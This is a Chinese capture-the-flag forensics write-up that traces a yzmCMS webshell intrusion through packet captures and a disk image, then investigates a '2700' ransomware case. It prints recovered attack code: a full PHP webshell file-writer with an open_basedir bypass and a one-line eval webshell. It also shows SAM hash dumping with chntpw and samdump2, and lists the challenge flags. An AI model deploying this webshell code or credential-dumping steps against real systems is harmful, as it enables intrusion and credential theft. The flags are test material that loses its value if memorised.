emergency

任务一

ip 10.0.100.69多次访问管理界面以及在932、894包在admin/system_manage/user_config_edit.html 表单提交了一句话木马

查看返回包,也显示操作成功

这里通过查看是yzmCMS内容管理系统,利用了CVE-2020-35971,一个XSS漏洞,攻击者可利用该漏洞在/admin/system_manage/user_config_edit.html页面注入JS代码。

任务二

根据一句话木马是shell

这里通过D盾查杀也能看出

任务三

查看日志可以看到10.0.100.69先是在进行目录扫描爆破,然后对这个yzmCMSuser_config_edit.html界面提交了一句话木马,初始连接的一句话木马是 configs.cache.php,然后紧接着访问了shell.php

这道题做的时候提取不出这个shell.php

而且通过挂载这个.vmdk查找shell.php文件也找不到,然后赛后看其他的wp,发现可以根据这个shell.php文件的文件大小然后在回收站找到删除的同样大小的文件

通过追踪流查看一个返回包,得到了shell.php的大小43

还有一种方法:因为是找创建新的一句话木马文件的MD5,直接wireshark筛”write“

追踪流查看这个webshell的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
shell = @ini_set("display_errors", "0");
@set_time_limit(0);

$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());

foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item . "/.a5293";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);

for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};

function asenc($out) {
return $out;
};

function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "8484" . "cc18c";
echo @asenc($output);
echo "86bcb" . "d0c52";
}

ob_start();
try {
$f = base64_decode(substr($_POST["d498cc0709be5f"], 2)); //解码文件名
$c = $_POST["m58d3ef53bcb85"]; //获取文件内容
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";

for ($i = 0; $i < strlen($c); $i += 2) {
$buf .= urldecode("%" . substr($c, $i, 2));
}

echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};

asoutput();
die();

十六进制转字符串,得到上传的文件内容 <?php @eval($_POST["qsnctf_2025_lab"]); ?>

然后计算MD5,得到91a29f36879b024d661851b7765f3969

任务四

这里也是筛“write”

追踪流分析

得到

任务五

过滤POST,查看分组字节流,69165包里base64解码看到了shell.exe

任务六

在发现shell.exe的包的前几个POST的包发现了

显然这就是上传的shell.exe文件的内容了,经过进制转换和MD5,得到0410284ea74b11d26f868ead6aa646e1

任务七

在上传这个shell.exe的包后面观察到

得到 flag{4444}

任务八

这里也是过滤POST请求,在73718包

任务九

得到密码P@ssw0rd123

1
cd /mnt/c_drive/Windows/System32/config/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo chntpw -l SAM
[sudo] password for kali:
chntpw version 1.00 140201, (c) Petter N Hagen
openHive(SAM) failed: Read-only file system, trying read-only
Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM>
ROOT KEY at offset: 0x001020 * Subkey indexing type is: 686c <lh>
File size 65536 [10000] bytes, containing 8 pages (+ 1 headerpage)
Used for data: 330/27744 blocks/bytes, unused: 21/12960 blocks/bytes.

| RID -|---------- Username ------------| Admin? |- Lock? --|
| 01f4 | Administrator | ADMIN | |
| 01f7 | DefaultAccount | | dis/lock |
| 01f5 | Guest | | dis/lock |
| 03e8 | hidden$ | ADMIN | |

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
sudo chntpw -u "hidden$" -v SAM
chntpw version 1.00 140201, (c) Petter N Hagen
openHive(SAM) failed: Read-only file system, trying read-only
Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM>
ROOT KEY at offset: 0x001020 * Subkey indexing type is: 686c <lh>
###### Page at 0x1000 ofs_self 0x0, size (delta ofs_next) 0x1000 ######
###### Page at 0x2000 ofs_self 0x1000, size (delta ofs_next) 0x1000 ######
###### Page at 0x3000 ofs_self 0x2000, size (delta ofs_next) 0x1000 ######
###### Page at 0x4000 ofs_self 0x3000, size (delta ofs_next) 0x2000 ######
###### Page at 0x6000 ofs_self 0x5000, size (delta ofs_next) 0x1000 ######
###### Page at 0x7000 ofs_self 0x6000, size (delta ofs_next) 0x1000 ######
###### Page at 0x8000 ofs_self 0x7000, size (delta ofs_next) 0x2000 ######
###### Page at 0xa000 ofs_self 0x9000, size (delta ofs_next) 0x1000 ######
Last HBIN at offset : 0xa000
First non-HBIN page offset: 0xb000
hdr->unknown4 (version?) : 0x5
File size 65536 [10000] bytes, containing 8 pages (+ 1 headerpage)
Used for data: 330/27744 blocks/bytes, unused: 21/12960 blocks/bytes.

Type of hive guessed to be: 1
lmpw_offs: 0x10c, lmpw_len: 24 (0x18)
ntpw_offs: 0x124, ntpw_len: 56 (0x38)
================= USER EDIT ====================

RID : 1000 [03e8]
Username: hidden$
fullname:
comment :
homedir :

sam_get_user_grpids: member path: \SAM\Domains\Builtin\Aliases\Members\S-1-5-21-1320223458-2853483990-1479821641\000003E8
sam_get_user_grpids: member path: \SAM\Domains\Account\Aliases\Members\S-1-5-21-1320223458-2853483990-1479821641\000003E8
00000221 = Users (which has 3 members)
00000220 = Administrators (which has 2 members)

Account bits: 0x0010 =
[ ] Disabled | [ ] Homedir req. | [ ] Passwd not req. |
[ ] Temp. duplicate | [X] Normal account | [ ] NMS account |
[ ] Domain trust ac | [ ] Wks trust act. | [ ] Srv trust act |
[ ] Pwd don't expir | [ ] Auto lockout | [ ] (unknown 0x08) |
[ ] (unknown 0x10) | [ ] (unknown 0x20) | [ ] (unknown 0x40) |

Failed login count: 0, while max tries is: 0
Total login count: 0
Crypted NT pw: 03 00 02 00 10 00 00 00 2f f8 a0 71 22 0a d7 81
Crypted LM pw: 03 00 02 00 00 00 00 00 5f 12 4d 8c 0c 64 e9 c4

- - - - User Edit Menu:
1 - Clear (blank) user password
(2 - Unlock and enable user account) [seems unlocked already]
3 - Promote user (make user an administrator)
4 - Add user to a group
5 - Remove user from a group
q - Quit editing user, back to user select
Select: [q] >

这里的 Crypted”并不是真正的加密,而是 RC4 加密的密文,需要用SYSTEM 文件解密才能得到真正的 NTLM 哈希。
Windows 的密码哈希是用 SYSKEY 加密的,而 SYSKEY 存储在 SYSKEY 注册表文件中

使用 chntpw 同时加载 SAM 和 SYSTEM

1
sudo chntpw -u "hidden$" -v /mnt/c_drive/Windows/System32/config/SAM /mnt/c_drive/Windows/System32/config/SYSTEM

由于我的chntpw版本过低,这里使用samdump2工具

1
2
3
4
5
6
samdump2 /mnt/c_drive/Windows/System32/config/SYSTEM /mnt/c_drive/Windows/System32/config/SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hidden$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

任务十

事件查看器筛4720,得到时间

2700勒索病毒排查

任务一

任务二

预留ID是勒索病毒用来唯一标识受害者的一串字符,攻击者将其作为“凭证”,以便在收到赎金后提供对应的解密工具
文件命名格式:原文件名.id-[预留ID].[攻击者邮箱].2700

4A30C4F9-3524

任务三


查看修改时间

flag{2025/11/19 14:31}

任务四





flag{6eff1ea09e63423a48288a77d97e0cc6}

任务五



1983929223@qq.com

任务六


39.91.141.213

任务七

C2地址是网络攻击中攻击者用于控制受感染设备的服务器地址。

微步沙箱分析这个钓鱼邮件


这里显示两个ip 110.242.70.57和182.9.80.123

其中182.9.80.123很可能是恶意ip

flag{182.9.80.123}

任务八


利用工具diskgenius在桌面发现了flag.bak文件夹

打开发现了flag:flag{92047522e5080bad36eda9d29d5a163e}